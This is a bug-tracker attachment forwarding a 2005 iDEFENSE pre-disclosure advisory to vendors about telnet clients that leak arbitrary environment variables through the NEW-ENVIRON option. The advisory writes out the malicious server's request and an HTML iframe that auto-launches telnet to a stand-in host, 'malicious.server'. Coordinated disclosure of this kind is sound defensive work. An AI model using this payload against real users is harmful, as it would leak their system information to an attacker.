Attachment 28650 Details for Bug 66128

a2.txt

a2.txt (text/plain), 7.12 KB, created by Thomas Biege on 2005-02-21 15:19:00 UTC

(hide)

Description:

Filename:

MIME Type:

Creator: Thomas Biege

Created: 2005-02-21 15:19:00 UTC

Size: 7.12 KB

patch

obsolete

>From: vendor-disclosure <vendor-disclosure@idefense.com>
>To: secure@microsoft.com, vendor-sec@lst.de, krbcore@mit.edu,
>	security-alert@sun.com
>Cc: vendor-disclosure <vendor-disclosure@idefense.com>
>Subject: [vendor-sec] iDEFENSE Security Advisory [IDEF0865] Multiple Vendor Telnet Client Information Disclosure Vulnerability
>Errors-To: vendor-sec-admin@lst.de
>Date: Fri, 18 Feb 2005 15:51:21 -0500
>
> 
>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1
>
>iDEFENSE has identified an Information Disclosure vulnerability in
>Multiple Telnet Clients. This vulnerability was submitted to iDEFENSE
>through our Vulnerability Contributor Program:
>
>	http://www.idefense.com/poi/teams/vcp.jsp
>
>iDEFENSE Labs has validated this vulnerability and has drafted the
>attached advisory. In accordance with our vendor disclosure policy 
>
>	http://www.idefense.com/legal_disclosure.jsp
>
>We would request that you acknowledge receipt of this initial
>notification within five business days so that we may begin the
>process of coordinating an appropriate public disclosure date for
>this issue that will provide your company with adequate time to
>develop a patch or workaround to mitigate this vulnerability. If you
>have questions regarding this issue or require further details to
>assist with your own analysis, please do not hesitate to contact us.
>
>It is always our goal to coordinate on the public disclosure of
>patches/advisories as quickly as possible after a vulnerability is
>discovered. If however a reasonable timeframe cannot be agreed upon
>for this issue, it will be publicly released in 60 days on
>04/18/2005. iDEFENSE is willing to work with a vendor to find a
>mutually agreeable release date beyond this timeframe so long as the
>vendor continues to make good faith efforts to produce patches in a
>timely fashion and regularly informs iDEFENSE of their progress in
>doing so.
>
>Please note that if the affected product is included within other
>applications and/or operating systems, iDEFENSE will not be
>coordinating disclosure of the vulnerability to affected third
>parties. We would ask that you handle this coordination separately.
>
>Regards,
>Michael Sutton
>
>Michael Sutton
>Director, iDEFENSE Labs
>iDEFENSE
>1875 Campus Commons Drive, Suite 210
>Reston, VA 20191
>direct: 703.480.5628
>voice: 703.390.1230
>fax: 703.390.9456
>msutton@idefense.com
>www.idefense.com
>
>-----BEGIN PGP SIGNATURE-----
>Version: PGP 8.1
>
>iQA/AwUBQhZVZ247Oh6MSHwZEQIgegCfYhdmZ753YgrUdCEZ9CruaHVmw3cAoNvg
>nPVnr4yxml0+EBmq5BLO2tjs
>=EHBI
>-----END PGP SIGNATURE-----
> 
>
>Content-Description: pub_Multiple Vendor Telnet Client Information Disclosure Vulnerability.txt
>Multiple Vendor Telnet Client Information Disclosure Vulnerability
>
>iDEFENSE Security Advisory XX.XX.05
>http://www.idefense.com/application/poi/display?type=vulnerabilities
>MMM DD, 2005
>
>I. BACKGROUND
>
>The TELNET protocol allows virtual network terminals to be connected to 
>over the internet. The initial description of the telnet protocol was 
>given in RFC854 in May 1983. Since then there have been many extra 
>features added including encryption. 
>
>II. DESCRIPTION
>
>Remote exploitation of an input validation error in multiple telnet 
>clients could allow an attacker to gain sensitive information about the 
>victim's system.
>
>The vulnerability specifically exists in the handling of the NEW-ENVIRON 
>command.
>
>In order to exploit this vulnerability, a malicious server can send a 
>connected client the following telnet command:
>
>SB NEW-ENVIRON SEND ENV_USERVAR <name of environment variable> SE
>
>Vulnerable telnet clients will send the contents of the reference 
>environment variable, which may contain information useful to an 
>attacker. The expected behaviour would be only to send environment 
>variables related directly to the operation of the telnet client (for 
>example, TERM), or those specifically allowed by the user.
>
>III. ANALYSIS
>
>Successful exploitation of the vulnerability would allow an attacker to 
>read the values of arbitrary environment variables. By itself this 
>vulnerability is not a large threat, but exploiting this vulnerability 
>may give an attacker more information about a targetted system, which 
>could allow more effective attacks.
>
>In order to exploit this vulnerability, an attacker would need to 
>convince the user to connect to their malicious server. It may be 
>possible to automatically launch the telnet command from a webpage, for 
>example
>
><html><body>
><iframe src='telnet://malicious.server/'>
></body>
>
>On opening this page the telnet client may be launched and attempt to 
>connect to the host 'malicious.server'.
>
>IV. DETECTION
>
>iDEFENSE has confirmed the existance of the vulnerability in version 
>5.1.2600.2180 of the Microsoft Telnet Client, the telnet client included 
>in the Kerberos V5 Release 1.3.6 package and the client included in the 
>SUNWtnetc package of Solaris 5.9. It is suspected that most BSD based 
>telnet clients are affected by this vulnerability. The telnet client 
>from the netkit-telnet package distributed with all current versions of 
>Redhat Linux contains a patch for this vulnerability, introduced in 
>early 2000. Some other distributions may also contain this patch. There 
>does not appear to be security advisory released at the time the patch 
>was added, nor does there appear to be an entry in the Bugzilla database. 
>This issue appears to have been mentioned in passing in 
>RHSA-2000-028, in relation to a vulnerability in Netscape.
>
>V. WORKAROUND
>
>For Windows based platforms, disabling the Telnet handler or specifying 
>a different application to handle Telnet URL's can mitigate URL based 
>attacks. This can be accomplished by removing or modifying the following 
>registry key:
>
>HKEY_CLASSES_ROOT\telnet\shell\open\command
>
>This workaround should prevent automatic explotation attempts. It does 
>not fix the underlying issue. 
>
>iDEFENSE is currently unaware of any workarounds for this issue for other 
>affected platforms.
>
>VI. VENDOR RESPONSE
>
>[Quoted vendor response if available. Otherwise include vendor fix
>details.]
>
>VII. CVE INFORMATION
>
>A Mitre Corp. Common Vulnerabilities and Exposures (CVE) number has not
>been assigned yet.
>
>VIII. DISCLOSURE TIMELINE
>
>02/18/2005  Initial vendor notification
>XX/XX/2005  Initial vendor response
>XX/XX/2005  Coordinated public disclosure
>
>IX. CREDIT
>
>The discoverer of this vulnerability wishes to remain anonymous.
>
>Get paid for vulnerability research
>http://www.idefense.com/poi/teams/vcp.jsp
>
>X. LEGAL NOTICES
>
>Copyright ? 2005 iDEFENSE, Inc.
>
>Permission is granted for the redistribution of this alert
>electronically. It may not be edited in any way without the express
>written consent of iDEFENSE. If you wish to reprint the whole or any
>part of this alert in any other medium other than electronically, please
>email customerservice@idefense.com for permission.
>
>Disclaimer: The information in the advisory is believed to be accurate
>at the time of publishing based on currently available information. Use
>of the information constitutes acceptance for use in an AS IS condition.
>There are no warranties with regard to this information. Neither the
>author nor the publisher accepts any liability for any direct, indirect,
>or consequential loss or damage arising from use of, or reliance on,
>this information.
>
>----- End forwarded message -----
>

Actions: View

Attachments on bug 66128: 28649 | 28650 | 28708 | 28709 | 28710 | 28741 | 28742 | 28745 | 28746 | 28756 | 28757 | 32267 | 32268 | 39119